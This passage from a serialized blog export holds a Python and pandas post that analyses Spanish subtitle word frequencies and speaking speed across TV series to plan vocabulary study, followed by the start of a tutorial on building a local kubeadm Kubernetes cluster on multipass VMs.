.drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_verbs.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\ttener\tVERB\t22072\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\thacer\tVERB\t14946\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tir\tVERB\t12570\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tdecir\tVERB\t11314\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tquerer\tVERB\t11083\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tver\tVERB\t10269\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\testar\tVERB\t9780\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tsaber\tVERB\t8704\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tser\tVERB\t7674\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\tdar\tVERB\t5722\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e10\tpasar\tVERB\t5528\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e11\thablar\tVERB\t5355\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e12\tvenir\tVERB\t5145\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e13\tcreer\tVERB\t4895\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e14\tsalir \tVERB\t3395\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs.   Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tpos\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tgracias\tNOUN\t4676\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tfavor\tNOUN\t4625\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\tseñor\tNOUN\t4116\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tverdad\tNOUN\t3566\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tvida\tNOUN\t2673\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\thombre\tNOUN\t2601\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\tmadre\tNOUN\t2597\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\tvez\tNOUN\t2537\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\ttiempo\tNOUN\t2492\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e9\thijo\tNOUN\t2215\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words?  So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efind_important_words.head(50)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e.   So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epercentages = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    total_words_handled = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    for word in grouped_result['word'][:200]:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        values = words_in_show[words_in_show.word == word]['count'].values\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e        if values.size \u003e 0:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e            total_words_handled += values[0]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df = p_df.sort_values(by='percentage')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df['percentage'] = p_df['percentage'] * 100\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.options.display.float_format = '{:,.2f}%'.format\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ep_df\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I've realized is speed of speech is also important.  I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster.   So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['word_count'] = sentences['sentence'].str.split().str.len()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group = sentences.groupby([sentences.media])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest!   So these will be the series I start with.    The final question I wanted to answer is \"What are the top words I'm missing for a series\".    Since I'll know 75% of the series from the top 200 words, I'm hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show = {}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efor show_name in words['media'].drop_duplicates().values:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    words_in_show = (words[words.media == show_name].groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e       .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    frequency_words = grouped_result['word'][:200]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    missing_words_by_show[show_name] = missing_words\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emissing_words_by_show['La casa de las flores'].head(50)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e31\tmamá\t252\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e70\tflorería\t87\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e98\tperdón\t56\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e102\tsea\t54\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e116\tademás\t44\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e126\tahorita\t40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e132\tcárcel\t38\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e133\tfiesta\t38\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish.   It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI'll improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-29T19:00:00-05:00","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"}]},"DevOps":{"count":4,"posts":[{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI’m going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines!  I’ll be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis isn’t important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you don't have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs.  Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we’ll be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan 